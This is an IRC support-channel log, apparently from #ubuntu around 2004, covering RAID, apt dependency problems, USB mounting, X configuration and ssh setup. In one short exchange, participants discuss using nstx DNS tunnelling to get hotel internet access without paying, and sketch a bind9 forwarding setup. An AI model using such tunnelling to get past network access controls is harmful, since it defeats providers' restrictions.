[04:24] <SuperQ> darkersatanic: yea
[04:24] <JIMC> thats bad... but do you have a better idea
[04:25] <Riddell> ElVirolo: did you manage to get anything installed?
[04:25] <SuperQ> linux md
[04:25] <SuperQ> works fine, very reliable
[04:25] <darkersatanic> JIMC: Yes -- run the Linux software RAID stuff.
[04:25] <ElVirolo> Riddell: well, I wandered whether i had to comment some sources in my sources.list
[04:25] <ElVirolo> Riddell: because it seems there are some conflicts
[04:25] <Riddell> ElVirolo: what are the conflicts?  what do you have in sources.list?
[04:25] <SuperQ> you can sometimes see faster preformance with software raid, because the main CPU is faster than the CPU on the raid board :)
[04:25] <darkersatanic> JIMC: I've had a 3-disk RAID5 software array running on a machine for a few years.
[04:25] <JIMC> does ubuntu suporrt software raids during installation process?
[04:26] <darkersatanic> JIMC: Works perfectly -- even when a disk died.
[04:26] <SuperQ> JIMC: yes, it does
[04:26] <bob2> depends how hard the disk dies
[04:26] <JIMC> do i need any hardware?
[04:26] <SuperQ> bob2: of course
[04:26] <SuperQ> bob2: i've had the same problem with a 3ware
[04:26] <darkersatanic> bob2: It wasn't very bad in this case, but it was enough to get the disk kicked from the array. I only noticed when it emailed me to tell me the disk had gone.
[04:26] <SuperQ> bob2: drive died in a funny way.. corrupted the raid
[04:27] <ElVirolo> Riddell: i'm posting my /etc/apt/sources.list in #flood
[04:27] <SuperQ> then only decently safe raid I've been able to find is all fibre-channel stuff
[04:27] <SuperQ> and if you think $250 is expensive for a 3ware
[04:27] <SuperQ> you don't want to know what fibre-channel costs
[04:28] <JIMC> whcih raid levels are supported drung installation?
[04:28] <SuperQ> JIMC: all
[04:28] <JIMC> whats rebuild process?
[04:28] <JIMC> does the system boot if a disk dies?
[04:28] <bob2> JIMC: you don't know much about raid?
[04:28] <phill> /dev/hda2 /mnt/store ntfs ro,utf8,umask=000 0 0deb http://archive.ubuntu.com/ubuntu warty universe
[04:28] <phill> deb-src http://archive.ubuntu.com/ubuntu warty universe
[04:28] <SuperQ> JIMC: as long as grub is on both disks, yes
[04:28] <bob2> JIMC: the software raid howto explains it all, iirc
[04:28] <JIMC> i know the raid levels, not more
[04:29] <Riddell> ElVirolo: and what happens when you try to apt-get install kdebase?
[04:29] <JIMC> ok i read it
[04:29] <SuperQ> JIMC: basicaly, with software raid, you partition a new drive to repalace the broken one
[04:29] <SuperQ> JIMC: then you run a raidhotadd command, and it will start rebuilding
[04:29] <SuperQ> JIMC: easy as that
[04:29] <JIMC> sounds good
[04:30] <SuperQ> do you plan to use LVM?
[04:30] <JIMC> whats lvm?
[04:30] <ElVirolo> sry
[04:31] <JIMC> which sata card is supported by ubuntu?
[04:31] <Riddell> ElVirolo: hmm, it says it's impossible but it doesn't say why it's impossible
[04:32] <SuperQ> JIMC: anything in 2.6.8.1
[04:32] <ElVirolo> i get disconnected when I try to post the output of apt-get install kdebase in #flood ... pbly too long...
[04:32] <ElVirolo> oh you read what I posted?
[04:32] <ElVirolo> good
[04:32] <darkersatanic> JIMC: Google for "Linux SATA Status Report"
[04:32] <ElVirolo> i'll try and comment the universe source in sources.list
[04:33] <Riddell> ElVirolo: I got as far as 15:30 < ElVirolo> que vous avez demand l'impossible, ou bien, si vous utilisez
[04:33] <bob2> ElVirolo: use a less broken IRC client
[04:34] <ElVirolo> i use gaim
[04:34] <ElVirolo> is xchat better?
[04:34] <ElVirolo> wait
[04:34] <ElVirolo> i'll just post a sample
[04:36] <rcaskey_> does x orgdo time-based releases?
[04:36] <elvirolo> sry about that, i'm using xchat right now
[04:37] <Riddell> rcaskey_: no, releases are decided by the board
[04:37] <daniels> rcaskey_: yes
[04:37] <daniels> Riddell: yes, and it's on a time-based schedule ... :)
[04:38] <daniels> Riddell: typically six months, but there's talk of extending this to eight for r7, as going modular is a *lot* of work
[04:38] <daniels> the only reason there's no date yet is that there is still no release manager
[04:38] <Riddell> I submit to daniels
[04:39] <elvirolo> Riddell, ok, i've posted the output in #flood
[04:39] <rebirth> hmm
[04:39] <rebirth> lsusb shows a connected device
[04:39] <rebirth> how do i mount it?
[04:41] <Riddell> elvirolo: well I'm confused, you should have kate et al == 4:3.3.0-1
[04:42] <Riddell> elvirolo: what does apt-cache show kate | grep Version  give you?
[04:42] <elvirolo> Version: 4:3.3.0-1
[04:42] <elvirolo> !!!
[04:44] <Riddell> elvirolo: c'est fou
[04:44] <Riddell> elvirolo: what does sudo apt-get install kdelibs  do?
[04:44] <phill> hi, i installed gstreamer-mad but rhythmbox still won't play mp3s?
[04:44] <stvn> phill: you need gstreamer0.8-mad
[04:45] <phill> thats the one i apt-getted
[04:45] <stvn> phill: sound is working fine?
[04:45] <phill> wavs play
[04:45] <stvn> phill: tried restarting rhythmbox?
[04:45] <phill> no :D
[04:45] <mubix> ?Question? Has anyone in here used ndiswrapper w/ Ubuntu yet?
[04:46] <erik> hey, is there any "ubuntu" way to install the binary nvidia drivers?
[04:46] <erik> or should I just grab them from nvidia's website
[04:46] <rcaskey_> phill: did you get the 0.8rpm?
[04:46] <rcaskey_> errr deb
[04:46] <rebirth> lsusb shows a connected device
[04:46] <rebirth> how do i mount it?
[04:46] <rebirth> its an mp3 player
[04:46] <rebirth> Bus 002 Device 005: ID 0471:1120 Philips Creative Rhomba MP3 player
[04:47] <elvirolo> Riddel: strange, isn't it?
[04:47] <stvn> erik: you can just do it the ubuntu way, check the wiki for the howto
[04:47] <erik> stthanks
[04:47] <erik> stvn: thanks
[04:48] <yo> hi
[04:48] <mubix> stvn, know anything about ndiswrapper?
[04:48] <yo> any app to show the hard drive space ?
[04:48] <stvn> yo: nautilus
[04:48] <stvn> mubix: nope, sorry
[04:48] <mubix> damn
[04:49] <rebirth> anyone know? :x
[04:49] <mubix> I guess i'll just wade around till someone does
[04:49] <Riddell> elvirolo: what happens if you try to install just kdelibs  or just  kate?
[04:49] <stvn> rebirth: doesn't it appear in disks?
[04:49] <yo> stvn , where option ?
[04:49] <stvn> yo: just do no select anything and look at the statusbar at the bottom
[04:49] <rebirth> stvn where?
[04:50] <yo> stvn , don't show anything
[04:50] <elvirolo> Riddell, kate: Dpend: kdelibs4 (>= 4:3.3.0) mais ne sera pas install
[04:50] <stvn> rebirth: in computer > disks
[04:50] <elvirolo> Dpend: libqt3c102-mt (>= 3:3.3.3) mais ne sera pas install
[04:50] <yo> stvn , ok it shows now
[04:50] <rebirth> stvn, no it doesnt
[04:50] <mirak_-> what is "kate" for?......its a kde thing isnt it?
[04:50] <stvn> yo: huh? normally it shows the free space on the disk you are currently working on
[04:50] <stvn> yo: oh ok
[04:50] <elvirolo> Riddell, wait, let me post it in #flood
[04:50] <rebirth> stvn, i have removeable storage set to be auto mounted
[04:50] <rebirth> stvn, it also appears in device manager
[04:51] <Riddell> mirak_-: KDE Advanced Text Editor
[04:51] <mirak_-> riddell, thnx :)
[04:51] <Riddell> mirak_-: like gedit, but good
[04:52] <rebirth> stvn, any ideas? :X
[04:52] <stvn> rebirth: hm odd, it should automount than, not much of an USB-star myself, so can't really help you, could give the command to mount it manually though
[04:52] <mirak_-> riddell, I never used it.......but what makes a "text editor" good.......its just text?
[04:52] <phill> wow. totem-xine >>>>>>>>> totem-gstreamer
[04:52] <rebirth> stvn, yeah thatd be cool, thanks
[04:52] <bwlang> mirak_-: quality is in how easy an editor makes it to manipulate text...
[04:53] <stvn> rebirth: check on which device the usb stick is attached
[04:53] <Riddell> mirak_-: well I'm just annoyed with gedit because I couldn't save files to FTP, being a KDE user I expect things like that as standard
[04:53] <rebirth> stvn, how do you mean? i can give you the bus number of output of lsusb
[04:53] <bash> ---*++--+
[04:53] <stvn> Riddell: it is possible if you coonect to the ftp server with nautilus
[04:54] <stvn> rebirth: check dmesg
[04:54] <mirak_-> riddell, kk i see.....i don't use kde.....nor do I edit many text files, but when I do...i guess gedit works.......but I deff see your point
[04:54] <stvn> Riddell: you can conenct to a number of different servers with nautilus and than any gnome app can save to it
[04:54] <rebirth> i have removeable storage set to be auto mounted
[04:54] <rebirth> eek
[04:54] <rebirth> eth0: no IPv6 routers present
[04:54] <rebirth> drivers/usb/input/hid-input.c: event field not found
[04:55] <rebirth> oh, stvn
[04:55] <rebirth> usb 2-2: new full speed USB device using address 5
[04:55] <rebirth> scsi1 : SCSI emulation for USB Mass Storage devices
[04:55] <rebirth>   Vendor: CREATIVE  Model:  RHOMBA           Rev:
[04:55] <rebirth>   Type:   Direct-Access                      ANSI SCSI revision: 02
[04:56] <stvn> rebirth: the only thing that is important is the /dev/s*** device it is attached to
[04:56] <elvirolo> Ridell: i tried installing other packages and it's the same prob :(
[04:56] <yo> a question
[04:56] <rebirth>  /dev/scsi/host1/bus0/target0/lun0: p1
[04:56] <yo> how to get a .deb package from source ?
[04:57] <Riddell> elvirolo: try sudo apt-get install kdelibs4
[04:57] <stvn> rebirth: sure there is no /dev/sda-like device listed?
[04:57] <erik> hey, so ..  Package nvidia-glx is not available, but is referred to by another package.
[04:58] <erik> how do I fix that?
[04:58] <stvn> erik: add the universe repository
[04:58] <erik> stvn: how do I do that?
[04:58] <britt_> hey how do i install naim
[04:58] <britt_> using apt-get
[04:58] <elvirolo> Riddell, ok, it's in #flood
[04:58] <rebirth> stvn, nope, its being simulated as a scsi device
[04:59] <mirak_-> britt_, sudo apt-get install naim       but gaim comes pre-installed
[04:59] <stvn> erik: in synaptic: settings>>repositories
[04:59] <britt_> i like txt based things though
[04:59] <erik> stvn: thanks
[04:59] <yo> how to get a .deb package from source file ?
[04:59] <mirak_-> britt_, kk then......
[04:59] <stvn> rebirth: hm normally it also appears as a scsi harddisc, eg /dev/sda
[04:59] <britt_> actually how to i get ubuntu to start up in text mode
[05:00] <elvirolo> Riddel, why are there all these dependecy probs?
[05:00] <rebirth> stvn, odd :x
[05:00] <Riddell> elvirolo: ok, starting to make sense, what happens if you do  sudo apt-get install libqt3c102-mt
[05:01] <elvirolo> Riddell, done ...
[05:01] <stvn> rebirth: try the forums/mailing list, or google, i'm a bit tired and can't think clearly ATM, sorry
[05:02] <britt_> how do i get ubuntu to boot up in text mode instead of giving me the GUI
[05:02] <rebirth> stvn, no problem, you've been a big help :_)
[05:02] <yo> anyone knows how to create a .deb package?
[05:02] <mirak_-> britt_, at the log in screen...go to session
[05:02] <rebirth> :)
[05:02] <LinuxJones> britt_,  update-rc.d -f gdm remove
[05:02] <Riddell> elvirolo: right, looks like Qt needs hoary, you can either s/warty/hoary/ in sources.list or recompile Qt yourself
[05:03] <britt_> thanks
[05:03] <britt_> hope that works
[05:03] <mirak_-> britt_, if you do what linux jones says....im pretty sure the gui will be gone totaly
[05:03] <elvirolo> Riddel: ok ...
[05:03] <elvirolo> Riddell, i'll try hoary then :)
[05:03] <LinuxJones> britt_,  it will :)
[05:03] <britt_> i want to be able to use it if i need it
[05:03] <britt_> via startx
[05:03] <elvirolo> Riddell, thank you so much for your help :)
[05:04] <rebirth> stvn, aha :x
[05:04] <rebirth> Buffer I/O error on device sda, logical block 1
[05:04] <rebirth> Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0
[05:04] <rebirth> SCSI device sda: 508668 512-byte hdwr sectors (260 MB)
[05:04] <britt_> :\
[05:04] <Riddell> elvirolo: ok, tell me how you get on
[05:04] <yo> no one knows ?
[05:04] <Se7h> does anyone knows where to remove "mounted partitions" from the desktop on the configuration aditor?
[05:04] <Se7h> *editor
[05:04] <stvn> rebirth: ah ok, try sudo mount -t vfat /dev/sda /mnt
[05:05] <rebirth> stvn, kk, will that mount it to /mnt yea?
[05:05] <britt_> is that possible
[05:05] <stvn> rebirth: or instead of /mnt any dir you want
[05:05] <stvn> rebirth: yep
[05:05] <rebirth> stvn, thanks very much, /me tries it
[05:06] <rebirth> stvn,
[05:06] <rebirth> root@rebirth:/media # mount -t vfat /dev/sda /media/rhomba/
[05:06] <rebirth> mount: wrong fs type, bad option, bad superblock on /dev/sda,
[05:06] <rebirth>        or too many mounted file systems
[05:06] <erik> how does one change the maximum display resolution?
[05:06] <britt_> hey if i dont specify a root password, and i need to do su
[05:06] <britt_> what is the password i type
[05:07] <stvn> rebirth: right er apparently it's not regular fat32
[05:07] <stvn> rebirth: you could try mount -t auto
[05:07] <rebirth> stvn, according to device manager its vfat
[05:07] <rebirth> :x
[05:07] <LinuxJones> britt, Ubuntu uses sudo so you would use your password
[05:07] <rebirth> stvn, kk, sec
[05:07] <britt_> okoay
[05:08] <britt_> cool
[05:08] <rebirth> stvn, where do i put the auto?
[05:08] <rebirth> :
[05:08] <rebirth> :x
[05:08] <britt_> thanks guys
[05:08] <britt_> so if i do the update-rc.d -f gdm remove
[05:08] <britt_> it will dump me to txt login
[05:08] <britt_> ?
[05:08] <stvn> rebirth: oh, try mount -t vfat /dev/sda1 /media/rhomba
[05:09] <britt_> and than I could start X win if i needed to
[05:09] <britt_> for kicks and giggles
[05:09] <rebirth> stvn, no errors there
[05:09] <rebirth> and it pops up
[05:09] <rebirth> :D
[05:09] <rebirth> i love you stvn, thank you so much
[05:09] <stvn> rebirth: I forgot the 1 ;)
[05:09] <rebirth> lol
[05:09] <stvn> np
[05:09] <rebirth> any idea how to set it to auto mount?
[05:10] <britt_> right
[05:10] <britt_> ?
[05:10] <stvn> rebirth: you can add the following line to your /etc/fstab for future use: /dev/sda1 /media/rhomba vfat noauto,user,defaults 0 0
[05:10] <one_force> www.adictosalweb.com recursos gratis en la web
[05:10] <stvn> rebirth: that'll make it a bit easier next time, don't know about automount
[05:10] <rebirth> stvn, cool thanks :)
[05:10] <rebirth> i have hotplug set to mount from fstab i think anyway
[05:11] <BrianB04> Morning all
[05:11] <britt_> alrigth well i wil try that and get back on if it doesnt work
[05:11] <britt_> i'm at work rigth now
[05:11] <britt_> I will try later
[05:14] <mdz> bob2: we sent out an announcement for hoary
[05:14] <daniels> mdz: fwiw, as you can see, all my merge bugs except php4 are complete
[05:14] <BrianB04> What's going on with hoary btw?
[05:14] <mdz> daniels: thanks
[05:14] <daniels> mdz: you're welcome
[05:15] <mdz> daniels: ?
[05:15] <daniels> (there's an ethernet port there, but you need to pay, but you can, of course, get DNS)
[05:15] <daniels> mdz: i was trying to put 2.6.x on fooishbar so I could get a proper tun module to get nstx working (i.e. internet from the hotel), but in the process I killed fooish altogether
[05:15] <daniels> so I have even less access than I started with ;)
[05:15] <daniels> ho hum
[05:16] <daniels> hopefully the cs.pdx guys have started it back up by the time I get there
[05:16] <daniels> anyway, -> hotel, dinner, walking around
[05:16] <Mithrandir> daniels: do you have open outgoing DNS ?
[05:16] <daniels> Mithrandir: yes
[05:16] <daniels> Mithrandir: hence the desire for nstx
[05:16] <Mithrandir> daniels: if you can talk to whatever dns server you want, you can use my nstx, but I haven't gotten it working with a third-party dns server.
[05:17] <daniels> i'm not sure whether or not I can
[05:17] <Mithrandir> try, I just /msg-ed you the details.
[05:17] <daniels> but one way you can do it is to make nstx listen on port 5353, and then have bind9 (or whatever) forward nstx.whatever to localhost:5353
[05:17] <daniels> that's what I did for fooish
[05:17] <Mithrandir> yeah, but I can't get bind to DTRT
[05:18] <daniels> ahr
[05:18] <daniels> it worked alright for me -- anyway, I'll see
[05:18] <daniels> seeya, thanks :)
[05:21] <ThreeDayMonk> I'd like to mount a disk image in loopbacl mode, but I don't have any /dev/loop devices
[05:22] <ThreeDayMonk> how do I get one?
[05:23] <mdz> daniels: your track record of changing kernels while on the road is not very good
[05:23] <mjr_> ThreeDayMonk, try sudo modprobe loop
[05:24] <mjr_> the loop driver should then load and /dev should be appropriately populated
[05:24] <erik> hey, is there a graphical XF86Config-4 editor with ubuntu?
[05:24] <ThreeDayMonk> mjr_: thanks, that was it
[05:24] <Mithrandir> mdz: changing kernels on the road is seldom wise. :)
[05:26] <deFrysk> erik, dpkg-reconfigure xserver-xfree86
[05:27] <deFrysk> erik, sudo dpkg-reconfigure xserver-xfree86 , sorry
[05:29] <erik> deFrysk: I've changed my XF86Config-4 file manually and now the nvidia-glx-config refuses to touch it.  Do you have a copy of an unaltered one?
[05:30] <Mithrandir> erik: there are some comments at the top on how to make nvidia-glx-config want to touch it again.
[05:31] <erik> Mithrandir: I kinda totally replaced it
[05:31] <agwibowo> hello
[05:31] <agwibowo> just wondering
[05:31] <Mithrandir> #   cp /etc/X11/XF86Config-4 /etc/X11/XF86Config-4.custom
[05:31] <Mithrandir> #   md5sum /etc/X11/XF86Config-4 > /var/lib/xfree86/XF86Config-4.md5sum
[05:31] <Mithrandir> #   dpkg-reconfigure xserver-xfree86
[05:31] <agwibowo> is it possible to....
[05:32] <Mithrandir> erik: run those commands.
[05:32] <agwibowo> to have my desktop spread across 2 monitors ?
[05:32] <erik> Mithrandir: thanks
[05:32] <ThreeDayMonk> agwibowo: I have it across three
[05:32] <agwibowo> i.e. one linux computer, but across 2 monitors (for larger workspace)
[05:32] <agwibowo> how how how
[05:32] <agwibowo> tell me
[05:32] <agwibowo> please...
[05:32] <ThreeDayMonk> agwibowo: what is your setup?
[05:32] <agwibowo> ??
[05:32] <agwibowo> as in?
[05:32] <agwibowo> i'm running gnome 2.8
[05:32] <agwibowo> using my laptop
[05:33] <ThreeDayMonk> graphics hardware
[05:33] <agwibowo> oh
[05:33] <ThreeDayMonk> driver
[05:33] <CplFullerUSMC> BUSH wins
[05:33] <agwibowo> neomagic
[05:33] <ThreeDayMonk> CplFullerUSMC: sad but true
[05:33] <agwibowo> neomagic 256
[05:33] <ThreeDayMonk> um... I'm not familiar with that
[05:34] <ThreeDayMonk> agwibowo: does it support dual-head?
[05:34] <agwibowo> right now, i can switch between my monitor  & my laptop monitor... but they essentially display the same desktop
[05:34] <agwibowo> errr.. i don't think so....
[05:34] <agwibowo> it's an old laptop...
[05:34] <ThreeDayMonk> sounds like you might not be able to
[05:34] <agwibowo> :(
[05:35] <agwibowo> but could you tell me how did you do it with yours?
[05:35] <ThreeDayMonk> sure - have a look at my XF86Config-4 file:
[05:35] <agwibowo> my desktop has nvidia mx 2...
[05:35] <ThreeDayMonk> http://po-ru.com/files/XF86Config-4
[05:36] <|progenic|> anybody ? can i use gcc to compile assembly code ?
[05:36] <agwibowo> gasm i think
[05:36] <|progenic|> gasm ?
[05:36] <|progenic|> ic
[05:36] <agwibowo> i heard it before
[05:36] <agwibowo> can't remember
[05:36] <|progenic|> so the way i write the program is it same as masm ?
[05:37] <agwibowo> errrrr
[05:37] <agwibowo> not sure
[05:37] <agwibowo> ThreeDayMonk
[05:37] <agwibowo> this is so cool
[05:37] <agwibowo> how did you connect the monitors?
[05:37] <agwibowo> is it just one video card?
[05:37] <ThreeDayMonk> agwibowo: two
[05:37] <agwibowo> oh
[05:38] <agwibowo> so...
[05:38] <ThreeDayMonk> one pci ati card driving the left monitor, and a dual-head nvidia for the middle and right
[05:38] <agwibowo> one of them has 2 monitor port?
[05:38] <ThreeDayMonk> yes
[05:38] <ThreeDayMonk> http://po-ru.com/images/triple-monitors.jpg
[05:38] <agwibowo> ic.....
[05:38] <agwibowo> omg...
[05:38] <agwibowo> can't wait to see it
[05:38] <agwibowo> still loading
[05:38] <agwibowo> houw lala....
[05:38] <agwibowo> this is like a dream
[05:39] <ThreeDayMonk> it's nice to work with
[05:39] <agwibowo> yes!!!!!!!!!!!!
[05:39] <ThreeDayMonk> opengl only works on the main screen, so no cool matrix screensaver :-(
[05:39] <agwibowo> i wish i can have that
[05:40] <agwibowo> happy coding session
[05:40] <agwibowo> anyway.. thx for the files..
[05:40] <agwibowo> i'm off now.
[05:40] <agwibowo> going to see my dream computer
[05:40] <agwibowo> :P
[05:40] <ThreeDayMonk> ok - it should explain it, I think
[05:41] <ThreeDayMonk> screen, device, monitor for each head, and set up the layout
[05:41] <agwibowo> ok..
[05:41] <aTypical> ThreeDayMonk, nice setup. :-)
[05:42] <ThreeDayMonk> aTypical: huge productivity enhancement
[05:43] <aTypical> I wonder if my boss would buy that?
[05:43] <ThreeDayMonk> I fixed the fonts, too, so Japanese and Korean show nicely as well
[05:45] <aTypical> ThreeDayMonk, is that Ubuntu?
[05:45] <aTypical> I mean your screenshot.
[05:45] <ThreeDayMonk> yes
[05:45] <aTypical> Are you using a different theme or is it just a background?
[05:46] <ThreeDayMonk> just a background off kde-look.org, IIRC
[05:48] <ThreeDayMonk> I have a different theme now, with a nice customisation of Sloth for metacity
[05:49] <ThreeDayMonk> and the xmatrix screensaver is obligatory with such a setup :-)
[05:50] <MeAndU> Is it possible to mount a folder in /dev/hda6 and not the whole partition ? Hwo
[05:51] <MFen> hah, didn't know this was here
[05:51] <MFen> is there a gui tool to set up your wireless card without knowing the ESSID? (similar to how xp does it)
[05:53] <MFen> i assume ubuntu has a tool somewhere to do this, because it detects it during the install. but if you have to add a wlan later, it doesn't detect it
[05:54] <spiv> I think all the install does is use an essid of "any".
[05:54] <erik> sudo md5sum /etc/X11/XF86Config-4 > /var/lib/xfree86/XF86Config-4.md5sum
[05:54] <erik> bash: /var/lib/xfree86/XF86Config-4.md5sum: Permission denied
[05:54] <erik> how do I fix that?
[05:54] <MFen> spiv: does that mean you can type in a literal string 'any' in the network util and have it work?
[05:54] <ThreeDayMonk> erik: sudo su, run the command, then exit
[05:55] <spiv> MFen: Probably.
[05:55] <erik> ThreeDayMonk: weird, ok
[05:55] <spiv> ThreeDayMonk: I typically use sudo -s to get a root prompt.
[05:55] <MFen> good to know
[05:55] <deFrysk> md5sum /etc/X11/XF86Config-4 > /var/lib/xfree86/XF86Config-4
[05:55] <ThreeDayMonk> spiv: same number of characters :-)
[05:56] <dubwav> how can I change default sound card?
[05:56] <deFrysk> forget what I pasted
[05:56] <erik> is there a graphical XF86Config-4 editor?  I need to change the max resolution
[05:56] <spiv> erik: It's because the redirection (the ">") done by the shell, which is running as you.  Running md5sum as sudo dosn't help that :)
[05:56] <deFrysk> erik, sudo dpkg-reconfigure xserver-xfree86 , sorry
[05:56] <deFrysk> without the sorry
[05:56] <MFen> heh
[05:57] <spiv> erik: http://www.ubuntulinux.org/wiki/XautoconfigurationDebug
[05:59] <erik> spiv: yeah, I saw that heh thanks
[06:00] <spiv> erik: Ok :)
[06:00] <ud> Hi, How do I go about apt-getting fluxbox_0.9.9-1 as I only seem to be able to get the 0.1.14 version?
[06:00] <spiv> erik: I realise it doesn't help your problem directly, but it should help it be better in future :)
[06:01] <linux_mafia> anyone using beagle?
[06:01] <darkersatanic> It crashed on Mars, didn't it?
[06:02] <linux_mafia> heh
[06:04] <linux_mafia> i cant be the only ubuntu user, using it, someone wrote a wiki page goddamnit ;)
[06:05] <linux_mafia> bit late for that Ruffian, heh
[06:08] <RobotSadness> Hi, I just installed Ubuntu and I'm in need of a C/C++ IDE, since I can't install KDevelop or Anjuta. Does anyone have any suggestions?
[06:09] <Riddell> RobotSadness: emacs.  but why can't you install KDevelop?
[06:09] <rcaskey_> http://www.google.com/jobs/lunar_job.html
[06:09] <rcaskey_> has everyone seen that?
[06:09] <RobotSadness> it doesn't show up in synaptic and I get a ton of dependence errors through apt
[06:09] <mirak> mirak_ mirak_- impostors
[06:10] <RobotSadness> I would prefer an IDE with tabs, as the project that I am working on is quite large, and I'd rather not have 4000 emacs windows open
[06:10] <Riddell> xemacs
[06:10] <linux_mafia> rcaskey_, what about it?
[06:10] <RobotSadness> thanks, I will take a look at xemacs
[06:11] <rcaskey_> linux: I thought it was humerous
[06:12] <linux_mafia> rcaskey_, yeah its funny, sorry for a moment i doubted your faculties, thought you might have thought it was real :)
[06:13] <linux_mafia> rcaskey_, like this : http://www.adequacy.org/public/stories/2001.12.2.42056.2147.html can't believe how many thought it was serious
[06:15] <bdale> no netperf, even in universe?
[06:16] <Disharmony> hi
[06:16] <ElVirolo> hi again
[06:17] <linux_mafia> hey guys
[06:17] <linux_mafia> or girls as the case may be
[06:18] <linux_mafia> bdale, apparently not, nor in multiverse
[06:18] <ElVirolo> Riddell: i've upgraded to hoary and i still get the same prob
[06:19] <ElVirolo> Riddell : wiat
[06:19] <ElVirolo> Riddell: no I don't, sry
[06:19] <erik> does ubuntu have some kind of firewall by default that would prevent openssh-server from working?
[06:19] <spiv> No.
[06:20] <erik> ok
[06:20] <lamont> erik: openssh-server isn't installed by default, though
[06:20] <erik> lamont: yeah
[06:20] <erik> well see, I'm trying to set up someone's ubuntu install over the phone
[06:20] <erik> and I've never used ubuntu
[06:20] <lamont> ah, yes.
[06:20] <erik> he's installed openssh-server SO HE CLAIMS
[06:20] <erik> but is unable to ssh localhost
[06:21] <erik> however sshd shows up in ps wax
[06:21] <Treenaks> erik: and netstat?
[06:21] <erik> Treenaks: I tried to get him to run that ... difficult
[06:21] <Treenaks> erik: netstat -na | grep 22
[06:21] <erik> yeah he's not too big on the pipe symbol :/
[06:21] <Treenaks> great
[06:22] <lamont> erik: nc is installed by default :-)
[06:23] <Gerrath> I've been using Ubuntu for the last week and I'm very impressed with it, Kudos to the developers!
[06:23] <erik> lamont:  Really? .. Score!
[06:23] <bdale> lamont: netperf likely as an eventual addition?
[06:23] <Drago> hi
[06:23] <bdale> lamont: not by default, but at least available...
[06:23] <tylerwylie> woohoo bush won
[06:24] <lamont> bdale: that could certainly go to multiverse today, and with a small license change, could go into at least universe, if not supported.
[06:24] <Drago> anyone set vmware up on ubuntu yet?
[06:24] <lamont> depending on how scary it is, of course.
[06:24] <bdale> lamont: have I poked you sufficiently, or do I need to note it somewhere else?
[06:24] <Drago> i'm having some problems that it won't let me compile the modules.
[06:25] <erik> ok he's got openssh-server now but his firewall isn't allowing incoming connections
[06:25] <erik> time to set up a tunnel :/
[06:27] <lamont> erik: or say /usr/sbin/sshd -p ....
[06:27] <erik> lamont: seems to be all ports
[06:27] <lamont> assuming that he has _any_ inbound ports...
[06:27] <lamont> sigh
[06:27] <erik> though
[06:27] <erik> could use one over 32k i guess
[06:28] <erik> ssh -L8000:localhost:22 destination
[06:28] <kensai> is it safe to upgrade to the new version of ubuntu-desktop in hoary? I see apt always skip it when I do dist-upgrade
[06:28] <Cred> Evening.
[06:28] <erik> that should let me log onto destination and ssh -p 8000 localhost, no?
[06:29] <billytwowilly> In kde, I can add a quick browser button to the task bar and it gives me a drop down menu of whatever part of the file system I point it to. Is there something like this for gnome?
[06:29] <deFrysk> kensai, leave the ubuntu-desktop for now
[06:29] <kensai> Okay
[06:29] <deFrysk> its just a meta-package
[06:30] <kensai> any special reason?
[06:30] <deFrysk> kensai, broken deps probably
[06:30] <kensai> Thanks
[06:30] <deFrysk> kensai, I have it the same
[06:30] <kensai> I just have one prob with hoary
[06:30] <deFrysk> fun to get gnome2.9 packages though :)
[06:31] <kensai> at boot it is searching for ext3 but I have reiserfs so after not finding ext3 the it starts to boot normally
[06:31] <deFrysk> kensai, ext3 is default for ubuntu , thats why , I have that too :)
[06:32] <Cred> I have two sound cards (AC'97 and SB LiVE) by default Ubuntu is using AC and this doesn't work, how can I change to SB?
[06:32] <Drago> so I take it noone tried getting VMware to work yet... damn.
[06:32] <deFrysk> Cred, ac is build in in your motherboard ?
[06:33] <Cred> Yes
[06:33] <deFrysk> then turn it off in the bios
[06:33] <deFrysk> then it should work fine
[06:34] <Cred> I don't want to use workarounds, there must be an way to just change the primary sound card.
[06:34] <Cred> But that's problaby what I'll do, I don't use it anyhow :)
[06:34] <Cred> Useless piece of.. ;)
[06:34] <monkeysmurf> Drago -- I've gotten it to work fine in vitualpc2k4, but no sound only.
[06:35] <deFrysk> hehe
[06:35] <Cred> I was wondering if it could be changed from some tool or something like that. alsaconf maybe..
[06:35] <Drago> monkeysmurf, how It wont let me compile any of the kernel modules.
[06:36] <Drago> oh wait you're running the windows version.
[06:36] <monkeysmurf> ?? I must've missed the beginning of your conversation then anyway.  yah, virtualpc is a microsoft product
[06:36] <Drago> not virtual PC
[06:36] <Drago> VMware.
[06:37] <Drago> http://vmware.com
[06:37] <monkeysmurf> yah, haven't tried it
[06:37] <Drago> vmware will let me boot a partition off my hdd instead of using a image.
[06:38] <kensai> deFrysk: so it is just a problem with some package?
[06:38] <erik> Whoa
[06:38] <erik> so I had him ssh into me
[06:38] <erik> I think he's connected via ipv6?
[06:38] <erik> that's what netstat shows
[06:39] <deFrysk> kensai, hoary is a version in development , meaning some packages are broken or not there , so there will always be some dependency probs
[06:40] <kensai> so the ext3 prob can be fixed later on?
[06:40] <Drago> okay vmware isnt that important. I haven't tried it yet but I'll ask. Do I need to set up anything special to burn CD/DVDs with ubuntu or is that setup already
[06:40] <deFrysk> *always often
[06:40] <Drago> and if I do what do I need to set up?
[06:40] <karto> Drago, it worked for me with default 4.10 install
[06:41] <Drago> I can't seem to find a CD burning app installed at all.
[06:41] <karto> if you have an iso, just rightclick it and choose "burn to disc"
[06:41] <deFrysk> kensai, the ext3 comment not a bug
[06:42] <Drago> well I wanted to burn Music and video dvds.
[06:42] <Cred> About flash. I know there's plenty of information on the forums but I fail to find package flashplayer-mozilla with synaptic
[06:42] <Drago> which don't come in isos
[06:42] <karto> if you want to burn files, choose "places>cd creator" (in a gnome window)
[06:42] <monkeysmurf> has anyone been able to run nessus-update-plugins successfully in ubuntu?
[06:42] <erik> is there an ubuntu way to install the intel/broadcom wireless drivers?
[06:43] <Cred> Should flashplayer-mozilla package be in universe?
[06:43] <karto> just add the files to the window, choose "file>write to disc"
[06:43] <deFrysk> Cred, yes
[06:43] <deFrysk> its calles flashplugin-nonfree
[06:43] <Cred> So it's the same?
[06:43] <Cred> Same package with different name?
[06:43] <Drago> ahh cool thanks.
[06:44] <Drago> I'm not used to gnome.
[06:44] <billytwowilly> what do I change in gconf-editor to get a different icon for directories than for files? Theya ll have this paper like icon now
[06:44] <karto> me neither... had to learn that one the hard way :
[06:44] <deFrysk> gnome rules
[06:44] <Cred> So it does ;)
[06:45] <Cred> I did have to make one change as I didn't like double click to open idea :)
[06:45] <karto> is there any way to make backspace the back key in firefox?
